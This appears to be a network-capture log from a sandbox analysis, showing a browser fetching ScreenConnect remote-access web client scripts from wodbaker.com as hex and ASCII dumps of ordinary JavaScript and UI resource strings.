2024-11-22 22:00:58 UTC	565	OUT	GET /Script.ashx?__Cache=20305397-d9ff-4ef3-bcce-3da684ec8881 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:59 UTC	410	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 300381 Content-Type: text/javascript; charset=utf-8 Expires: Fri, 22 Nov 2024 23:00:59 GMT Vary: Accept-Encoding, Accept-Language, Host, X-Forwarded-Host, X-Forwarded-Port, X-Forwarded-Proto Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:58 GMT Connection: close
2024-11-22 22:00:59 UTC	15974	IN	Data Raw: 53 43 20 3d 20 7b 22 73 65 72 76 69 63 65 22 3a 7b 22 47 65 74 52 65 73 6f 75 72 63 65 49 6e 66 6f 22 3a 66 75 6e 63 74 69 6f 6e 20 28 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 20 7b 0d 0a 72 65 74 75 72 6e 20 53 43 2e 68 74 74 70 2e 69 6e 76 6f 6b 65 53 65 72 76 69 63 65 28 27 53 65 72 76 69 63 65 73 2f 41 70 70 65 61 72 61 6e 63 65 53 65 72 76 69 63 65 2e 61 73 68 78 27 2c 20 27 47 65 74 52 65 73 6f 75 72 63 65 49 6e 66 6f 27 2c 20 5b 5d 2c 20 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 Data Ascii: SC = {"service":{"GetResourceInfo":function (onSuccess, onFailure, userContext, userNameOverride, passwordOverride) {return SC.http.invokeService('Services/AppearanceService.ashx', 'GetResourceInfo', [], onSuccess, onFailure, userContext, userNameOverri
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 20 7b 0d 0a 72 65 74 75 72 6e 20 53 43 2e 68 74 74 70 2e 69 6e 76 6f 6b 65 53 65 72 76 69 63 65 28 27 53 65 72 76 69 63 65 73 2f 50 61 67 65 53 65 72 76 69 63 65 2e 61 73 68 78 27 2c 20 27 47 65 74 45 6c 69 67 69 62 6c 65 48 6f 73 74 73 27 2c 20 5b 5d 2c 20 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f 6e 74 65 78 74 2c 20 75 73 65 72 4e 61 6d 65 4f 76 65 72 72 69 64 65 2c 20 70 61 73 73 77 6f 72 64 4f 76 65 72 72 69 64 65 29 3b 0d 0a 7d 2c 22 4e 6f 74 69 66 79 41 63 74 69 76 69 74 79 22 3a 66 75 6e 63 74 69 6f 6e 20 28 6f 6e 53 75 63 63 65 73 73 2c 20 6f 6e 46 61 69 6c 75 72 65 2c 20 75 73 65 72 43 6f Data Ascii: xt, userNameOverride, passwordOverride) {return SC.http.invokeService('Services/PageService.ashx', 'GetEligibleHosts', [], onSuccess, onFailure, userContext, userNameOverride, passwordOverride);},"NotifyActivity":function (onSuccess, onFailure, userCo
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 3a 33 2c 22 41 6e 6e 6f 74 61 74 65 64 45 76 65 6e 74 22 3a 34 2c 22 53 75 63 63 65 73 73 52 65 73 75 6c 74 22 3a 35 2c 22 46 61 69 6c 75 72 65 52 65 73 75 6c 74 22 3a 36 2c 22 43 6f 6e 6e 65 63 74 65 64 22 3a 31 30 2c 22 44 69 73 63 6f 6e 6e 65 63 74 65 64 22 3a 31 31 2c 22 43 72 65 61 74 65 64 53 65 73 73 69 6f 6e 22 3a 32 30 2c 22 44 65 6c 65 74 65 64 53 65 73 73 69 6f 6e 22 3a 32 31 2c 22 49 6e 69 74 69 61 74 65 64 4a 6f 69 6e 22 3a 33 30 2c 22 49 6e 76 69 74 65 64 47 75 65 73 74 22 3a 33 31 2c 22 41 64 64 65 64 4e 6f 74 65 22 3a 33 32 2c 22 51 75 65 75 65 64 52 65 69 6e 73 74 61 6c 6c 22 3a 34 30 2c 22 51 75 65 75 65 64 55 6e 69 6e 73 74 61 6c 6c 22 3a 34 31 2c 22 51 75 65 75 65 64 49 6e 76 61 6c 69 64 61 74 65 4c 69 63 65 6e 73 65 22 3a 34 32 2c 22 Data Ascii: :3,"AnnotatedEvent":4,"SuccessResult":5,"FailureResult":6,"Connected":10,"Disconnected":11,"CreatedSession":20,"DeletedSession":21,"InitiatedJoin":30,"InvitedGuest":31,"AddedNote":32,"QueuedReinstall":40,"QueuedUninstall":41,"QueuedInvalidateLicense":42,"
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 52 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 22 3a 22 47 75 65 73 74 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 20 52 65 66 72 65 73 68 20 49 6e 74 65 72 76 61 6c 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 52 65 66 72 65 73 68 49 6e 74 65 72 76 61 6c 2e 43 61 75 74 69 6f 6e 22 3a 22 43 61 75 74 69 6f 6e 3a 20 53 65 74 74 69 6e 67 20 74 68 69 73 20 76 61 6c 75 65 20 6c 6f 77 65 72 20 74 68 61 6e 20 33 30 30 20 73 65 63 6f 6e 64 73 20 6d 61 79 20 61 64 76 65 72 73 65 6c 79 20 61 66 66 65 63 74 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 47 75 65 73 74 49 6e 66 6f 72 6d 61 74 69 Data Ascii: ncedConfig.GuestInformationRefreshInterval":"Guest Information Refresh Interval","AdvancedConfig.GuestInformationRefreshInterval.Caution":"Caution: Setting this value lower than 300 seconds may adversely affect performance.","AdvancedConfig.GuestInformati
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 73 70 65 6e 64 48 6f 73 74 43 6f 6e 74 72 6f 6c 2e 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 65 76 65 6e 74 20 74 68 65 20 68 6f 73 74 20 66 72 6f 6d 20 63 6f 6e 74 72 6f 6c 6c 69 6e 67 20 74 68 65 20 67 75 65 73 74 5c 75 30 30 32 37 73 20 6b 65 79 62 6f 61 72 64 20 61 6e 64 20 6d 6f 75 73 65 20 75 70 6f 6e 20 69 6e 69 74 69 61 6c 20 63 6f 6e 6e 65 63 74 69 6f 6e 2e 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 53 75 73 70 65 6e 64 4d 79 49 6e 70 75 74 22 3a 22 53 75 73 70 65 6e 64 20 4d 79 20 49 6e 70 75 74 22 2c 22 41 64 76 61 6e 63 65 64 43 6f 6e 66 69 67 2e 53 75 73 70 65 6e 64 4d 79 49 6e 70 75 74 2e 44 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 50 72 65 76 65 6e 74 73 20 74 68 65 20 68 6f 73 74 20 66 72 6f 6d 20 63 6f 6e 74 72 6f 6c 6c 69 Data Ascii: spendHostControl.Description":"Prevent the host from controlling the guest\u0027s keyboard and mouse upon initial connection.","AdvancedConfig.SuspendMyInput":"Suspend My Input","AdvancedConfig.SuspendMyInput.Description":"Prevents the host from controlli
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 20 65 78 70 72 65 73 73 69 6f 6e 73 2e 20 54 68 65 20 73 61 6d 65 20 70 72 6f 70 65 72 74 69 65 73 20 63 61 6e 20 62 65 20 75 73 65 64 20 69 6e 73 69 64 65 20 79 6f 75 72 20 61 63 74 69 6f 6e 73 20 74 6f 20 64 69 73 70 6c 61 79 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 65 72 73 20 6f 72 20 70 72 6f 76 69 64 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 65 78 74 65 72 6e 61 6c 20 73 79 73 74 65 6d 73 2e 5c 75 30 30 33 63 2f 70 5c 75 30 30 33 65 5c 72 5c 6e 5c 72 5c 6e 5c 75 30 30 33 63 68 33 5c 75 30 30 33 65 41 76 61 69 6c 61 62 6c 65 20 6f 62 6a 65 63 74 73 2f 70 72 6f 70 65 72 74 69 65 73 5c 75 30 30 33 63 2f 68 33 5c 75 30 30 33 65 5c 72 5c 6e 5c 75 30 30 33 63 74 61 62 6c 65 20 63 6c 61 73 73 3d 5c 22 44 61 74 61 54 61 62 6c 65 5c 22 Data Ascii: expressions. The same properties can be used inside your actions to display information to users or provide information to external systems.\u003c/p\u003e\r\n\r\n\u003ch3\u003eAvailable objects/properties\u003c/h3\u003e\r\n\u003ctable class=\"DataTable\"
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 61 62 6c 65 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 74 62 6f 64 79 5c 75 30 30 33 65 5c 72 5c 6e 5c 74 5c 75 30 30 33 63 74 72 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 53 74 72 69 6e 67 73 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 51 75 6f 74 65 64 20 77 69 74 68 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 20 63 68 61 72 61 63 74 65 72 20 28 5c 75 30 30 33 63 63 6f 64 65 5c 75 30 30 33 65 5c 75 30 30 32 37 5c 75 30 30 33 63 2f 63 6f 64 65 5c 75 30 30 33 65 29 3b 20 65 73 63 61 70 65 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 73 20 69 6e 73 69 64 65 20 74 68 65 20 73 74 72 69 6e 67 20 77 69 74 68 20 74 77 6f 20 63 6f 6e 73 65 63 75 74 69 76 65 20 73 69 6e 67 6c 65 20 71 75 6f 74 65 73 5c 75 30 30 33 Data Ascii: able\"\u003e\u003ctbody\u003e\r\n\t\u003ctr\u003e\u003ctd\u003eStrings\u003c/td\u003e\u003ctd\u003eQuoted with single quote character (\u003ccode\u003e\u0027\u003c/code\u003e); escape single quotes inside the string with two consecutive single quotes\u003
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 65 66 74 3b 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 20 73 74 79 6c 65 3d 5c 22 6d 61 72 67 69 6e 3a 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 37 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 73 74 79 6c 65 3d 5c 22 63 6f 6c 6f 72 3a 20 72 67 62 28 31 35 33 2c 20 31 35 33 2c 20 31 35 33 29 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 36 70 78 3b 5c 22 5c 75 30 30 33 65 4f 72 20 75 73 65 20 74 68 69 73 20 6c 69 6e 6b 3a 5c 75 30 30 33 63 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 70 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 64 69 76 5c 75 30 30 33 65 5c 72 5c 6e Data Ascii: eft;\"\u003e\u003cp style=\"margin: 0;font-size: 14px;line-height: 17px;text-align: center\"\u003e\u003cspan style=\"color: rgb(153, 153, 153); font-size: 14px; line-height: 16px;\"\u003eOr use this link:\u003c/span\u003e\u003c/p\u003e\u003c/div\u003e\r\n
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 20 6f 6e 20 74 68 65 20 72 65 6d 6f 74 65 20 73 79 73 74 65 6d 2e 20 54 68 65 20 74 6f 6f 6c 20 77 69 6c 6c 20 62 65 20 72 75 6e 20 77 68 65 6e 20 74 68 65 20 6d 61 63 68 69 6e 65 20 69 73 20 63 6f 6e 6e 65 63 74 65 64 2e 22 2c 22 43 6f 6d 6d 61 6e 64 2e 52 75 6e 54 6f 6f 6c 2e 54 65 78 74 22 3a 22 52 75 6e 20 54 6f 6f 6c 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 41 63 63 65 73 73 4d 61 6e 61 67 65 6d 65 6e 74 2e 54 65 78 74 22 3a 22 41 63 63 65 73 73 20 4d 61 6e 61 67 65 6d 65 6e 74 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 43 61 6c 65 6e 64 61 72 2e 54 65 78 74 22 3a 22 43 61 6c 65 6e 64 61 72 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 63 74 43 6f 64 65 2e 54 65 78 74 22 3a 22 43 6f 64 65 22 2c 22 43 6f 6d 6d 61 6e 64 2e 53 65 6c 65 Data Ascii: on the remote system. The tool will be run when the machine is connected.","Command.RunTool.Text":"Run Tool","Command.SelectAccessManagement.Text":"Access Management","Command.SelectCalendar.Text":"Calendar","Command.SelectCode.Text":"Code","Command.Sele
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 65 64 54 6f 6f 6c 41 73 53 79 73 74 65 6d 53 69 6c 65 6e 74 6c 79 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 41 6c 6c 6f 77 73 20 61 20 68 6f 73 74 20 74 6f 20 72 75 6e 20 61 20 73 68 61 72 65 64 20 74 6f 6f 6c 20 61 73 20 73 79 73 74 65 6d 20 75 73 65 72 20 77 69 74 68 6f 75 74 20 65 6e 64 20 75 73 65 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 2e 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 2f 74 72 5c 75 30 30 33 65 5c 72 5c 6e 5c 75 30 30 33 63 74 72 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 52 75 6e 50 65 72 73 6f 6e 61 6c 54 6f 6f 6c 41 73 55 73 65 72 5c 75 30 30 33 63 2f 74 64 5c 75 30 30 33 65 5c 75 30 30 33 63 74 64 5c 75 30 30 33 65 41 6c 6c 6f 77 73 20 61 20 68 6f 73 74 Data Ascii: edToolAsSystemSilently\u003c/td\u003e\u003ctd\u003eAllows a host to run a shared tool as system user without end user interaction.\u003c/td\u003e\u003c/tr\u003e\r\n\u003ctr\u003e\u003ctd\u003eRunPersonalToolAsUser\u003c/td\u003e\u003ctd\u003eAllows a host

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.16	49809	217.77.14.110	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:58 UTC	597	OUT	GET /Scripts/SC.main.ts?ScriptImportType=Classic&__Cache=8032cd77-99f2-48ec-b6b2-b64d99072a97 HTTP/1.1 Host: wodbaker.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wodbaker.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:59 UTC	317	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=3600 Content-Length: 270794 Content-Type: text/javascript Expires: Fri, 22 Nov 2024 23:00:59 GMT Vary: Accept-Encoding Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:58 GMT Connection: close
2024-11-22 22:00:59 UTC	16067	IN	Data Raw: 28 28 29 20 3d 3e 20 7b 0a 20 20 76 61 72 20 5f 5f 64 65 66 50 72 6f 70 20 3d 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3b 0a 20 20 76 61 72 20 5f 5f 64 65 66 50 72 6f 70 73 20 3d 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3b 0a 20 20 76 61 72 20 5f 5f 67 65 74 4f 77 6e 50 72 6f 70 44 65 73 63 73 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3b 0a 20 20 76 61 72 20 5f 5f 67 65 74 4f 77 6e 50 72 6f 70 53 79 6d 62 6f 6c 73 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 3b 0a 20 20 76 61 72 20 5f 5f 68 61 73 4f 77 6e 50 72 6f 70 20 3d 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 Data Ascii: (() => { var __defProp = Object.defineProperty; var __defProps = Object.defineProperties; var __getOwnPropDescs = Object.getOwnPropertyDescriptors; var __getOwnPropSymbols = Object.getOwnPropertySymbols; var __hasOwnProp = Object.prototype.hasOw
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 47 65 74 55 6e 69 74 6c 65 73 73 56 61 6c 75 65 73 0a 20 20 7d 29 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 74 61 69 6e 73 43 6c 61 73 73 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 61 73 73 4e 61 6d 65 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 21 53 43 2e 75 74 69 6c 2e 69 73 4e 75 6c 6c 4f 72 45 6d 70 74 79 28 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 29 20 26 26 20 28 22 20 22 20 2b 20 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 22 20 22 29 2e 69 6e 64 65 78 4f 66 28 22 20 22 20 2b 20 63 6c 61 73 73 4e 61 6d 65 20 2b 20 22 20 22 29 20 21 3d 20 2d 31 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 74 6f 67 67 6c 65 43 6c 61 73 73 28 65 6c 65 6d 65 6e 74 2c 20 63 6c 61 73 73 4e 61 6d 65 29 20 7b 0a 20 20 20 20 69 66 20 28 63 Data Ascii: GetUnitlessValues }); function containsClass(element, className) { return !SC.util.isNullOrEmpty(element.className) && (" " + element.className + " ").indexOf(" " + className + " ") != -1; } function toggleClass(element, className) { if (c
2024-11-22 22:00:59 UTC	16384	IN	Data Raw: 64 54 69 74 6c 65 54 65 78 74 2c 0a 20 20 20 20 20 20 73 68 6f 75 6c 64 46 6f 63 75 73 4f 6e 42 75 74 74 6f 6e 3a 20 21 72 65 71 75 69 72 65 73 44 61 74 61 2c 0a 20 20 20 20 20 20 73 68 6f 75 6c 64 46 6f 63 75 73 4f 6e 46 69 72 73 74 49 6e 70 75 74 45 6c 65 6d 65 6e 74 3a 20 72 65 71 75 69 72 65 73 44 61 74 61 2c 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 5b 0a 20 20 20 20 20 20 20 20 24 64 69 76 28 7b 20 63 6c 61 73 73 4e 61 6d 65 3a 20 63 6f 6d 6d 61 6e 64 4e 61 6d 65 20 2b 20 22 49 6d 61 67 65 20 43 6f 6d 6d 61 6e 64 49 6d 61 67 65 22 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 24 70 28 7b 20 5f 69 6e 6e 65 72 48 54 4d 4c 54 6f 42 65 53 61 6e 69 74 69 7a 65 64 3a 20 53 43 2e 72 65 73 5b 22 43 6f 6d 6d 61 6e 64 2e 22 20 2b 20 63 6f 6d 6d 61 6e 64 4e 61 Data Ascii: dTitleText, shouldFocusOnButton: !requiresData, shouldFocusOnFirstInputElement: requiresData, content: [ $div({ className: commandName + "Image CommandImage" }), $p({ _innerHTMLToBeSanitized: SC.res["Command." + commandNa
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 20 65 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 76 65 6e 74 4e 61 6d 65 2c 20 66 75 6e 63 2c 20 66 61 6c 73 65 29 3b 0a 20 20 20 20 65 6c 73 65 20 69 66 20 28 74 79 70 65 6f 66 20 65 6c 65 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 20 21 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 20 2b 20 65 76 65 6e 74 4e 61 6d 65 2c 20 66 75 6e 63 29 3b 0a 20 20 20 20 65 6c 73 65 0a 20 20 20 20 20 20 65 6c 65 6d 65 6e 74 5b 22 6f 6e 22 20 2b 20 65 76 65 6e 74 4e 61 6d 65 5d 20 3d 20 66 75 6e 63 3b 0a 20 20 20 20 69 66 20 28 65 76 65 6e 74 4e 61 6d 65 20 21 3d 3d 20 22 64 61 74 61 61 76 61 69 6c 61 62 6c 65 22 20 26 26 20 53 43 2e 75 74 69 Data Ascii: element.addEventListener(eventName, func, false); else if (typeof element.attachEvent !== "undefined") element.attachEvent("on" + eventName, func); else element["on" + eventName] = func; if (eventName !== "dataavailable" && SC.uti
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 65 72 63 65 6e 74 61 67 65 29 2e 74 6f 46 69 78 65 64 28 32 29 20 2b 20 22 25 3b 22 2c 20 74 69 74 6c 65 3a 20 28 31 30 30 20 2d 20 70 65 72 63 65 6e 74 61 67 65 29 2e 74 6f 46 69 78 65 64 28 32 29 20 2b 20 22 25 22 20 7d 29 0a 20 20 20 20 5d 29 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 49 6e 66 6f 49 63 6f 6e 28 74 6f 6f 6c 74 69 70 54 65 78 74 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 74 6f 6f 6c 74 69 70 54 65 78 74 20 3f 20 24 73 70 61 6e 28 7b 0a 20 20 20 20 20 20 63 6c 61 73 73 4e 61 6d 65 3a 20 22 49 6e 66 6f 49 63 6f 6e 22 2c 0a 20 20 20 20 20 20 6f 6e 6d 6f 75 73 65 65 6e 74 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 53 43 2e 74 6f 6f 6c 74 69 70 2e 73 68 6f 77 50 61 6e 65 6c 28 74 68 Data Ascii: ercentage).toFixed(2) + "%;", title: (100 - percentage).toFixed(2) + "%" }) ]); } function createInfoIcon(tooltipText) { return tooltipText ? $span({ className: "InfoIcon", onmouseenter: function() { SC.tooltip.showPanel(th
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 67 73 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 20 20 20 20 20 20 20 20 65 76 65 6e 74 41 72 67 73 2e 64 61 74 61 54 72 61 6e 73 66 65 72 2e 64 72 6f 70 45 66 66 65 63 74 20 3d 20 22 63 6f 70 79 22 3b 0a 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 72 65 74 75 72 6e 20 69 6d 61 67 65 53 65 6c 65 63 74 6f 72 50 61 6e 65 6c 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 45 64 69 74 61 62 6c 65 49 6e 70 75 74 28 63 6f 6d 6d 61 6e 64 4e 61 6d 65 2c 20 70 72 6f 70 65 72 74 69 65 73 2c 20 63 61 6e 63 65 6c 42 6c 75 72 2c 20 6f 6e 46 6f 63 75 73 2c 20 73 68 6f 75 6c 64 44 69 73 70 61 74 63 68 43 6f 6d 6d 61 6e 64 4f 6e 4b 65 79 55 70 29 20 7b 0a 20 20 20 20 76 61 72 20 66 69 65 6c 64 20 3d 20 24 69 6e 70 75 74 Data Ascii: gs.preventDefault(); eventArgs.dataTransfer.dropEffect = "copy"; }); } return imageSelectorPanel; } function createEditableInput(commandName, properties, cancelBlur, onFocus, shouldDispatchCommandOnKeyUp) { var field = $input
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 62 72 65 61 6b 3b 0a 20 20 20 20 20 20 20 20 63 61 73 65 20 22 4f 70 65 6e 45 6d 61 69 6c 22 3a 0a 20 20 20 20 20 20 20 20 20 20 65 6d 61 69 6c 42 6f 64 79 52 65 73 6f 75 72 63 65 49 6e 66 6f 20 3d 20 67 65 74 45 6d 61 69 6c 52 65 73 6f 75 72 63 65 49 6e 66 6f 46 75 6e 63 28 75 72 6c 29 3b 0a 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 6f 70 65 6e 43 6c 69 65 6e 74 45 6d 61 69 6c 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 6e 75 6c 6c 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 53 74 72 69 6e 67 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 53 43 2e 75 74 69 6c 2e 67 65 74 52 65 73 6f 75 72 63 65 57 69 74 68 46 61 6c 6c 62 61 63 6b 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: break; case "OpenEmail": emailBodyResourceInfo = getEmailResourceInfoFunc(url); SC.util.openClientEmail( null, SC.util.formatString( SC.util.getResourceWithFallback(
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 3a 20 22 22 29 20 2b 20 22 20 22 20 2b 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 44 61 74 65 54 69 6d 65 28 6e 65 77 20 44 61 74 65 28 73 75 62 45 76 65 6e 74 2e 74 69 6d 65 29 2c 20 7b 20 69 6e 63 6c 75 64 65 46 75 6c 6c 44 61 74 65 3a 20 74 72 75 65 2c 20 69 6e 63 6c 75 64 65 52 65 6c 61 74 69 76 65 44 61 74 65 3a 20 74 72 75 65 2c 20 69 6e 63 6c 75 64 65 53 65 63 6f 6e 64 73 3a 20 74 72 75 65 20 7d 29 20 2b 20 28 73 75 62 45 76 65 6e 74 2e 64 61 74 61 20 3f 20 53 43 2e 75 74 69 6c 2e 66 6f 72 6d 61 74 53 74 72 69 6e 67 28 53 43 2e 72 65 73 5b 22 53 65 73 73 69 6f 6e 45 76 65 6e 74 53 75 62 45 76 65 6e 74 2e 44 61 74 61 46 6f 72 6d 61 74 22 5d 2c 20 73 75 62 45 76 65 6e 74 2e 64 61 74 61 29 20 3a 20 22 22 29 3b 0a 20 20 20 20 20 20 72 65 74 75 72 6e Data Ascii: : "") + " " + SC.util.formatDateTime(new Date(subEvent.time), { includeFullDate: true, includeRelativeDate: true, includeSeconds: true }) + (subEvent.data ? SC.util.formatString(SC.res["SessionEventSubEvent.DataFormat"], subEvent.data) : ""); return
2024-11-22 22:01:00 UTC	16384	IN	Data Raw: 74 3a 20 22 42 75 69 6c 64 49 6e 73 74 61 6c 6c 65 72 50 61 6e 65 6c 2e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 6f 75 72 63 65 4e 61 6d 65 46 6f 72 6d 61 74 41 72 67 73 3a 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 6f 75 72 63 65 46 6f 72 6d 61 74 41 72 67 73 3a 20 5b 53 43 2e 63 6f 6e 74 65 78 74 2e 75 73 65 72 44 69 73 70 6c 61 79 4e 61 6d 65 2c 20 75 72 6c 5d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 29 0a 20 20 20 20 20 20 5d 0a 20 20 20 20 29 3b 0a 20 20 7d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 68 6f 77 49 6e 73 74 61 6c 6c 41 63 63 65 73 73 44 69 61 6c 6f 67 28 6f 6e 53 75 62 6d 69 74 29 20 7b 0a 20 20 20 20 73 68 6f 77 44 69 61 6c 6f 67 28 Data Ascii: t: "BuildInstallerPanel.", resourceNameFormatArgs: [], resourceFormatArgs: [SC.context.userDisplayName, url] }; } ) ] ); } function showInstallAccessDialog(onSubmit) { showDialog(
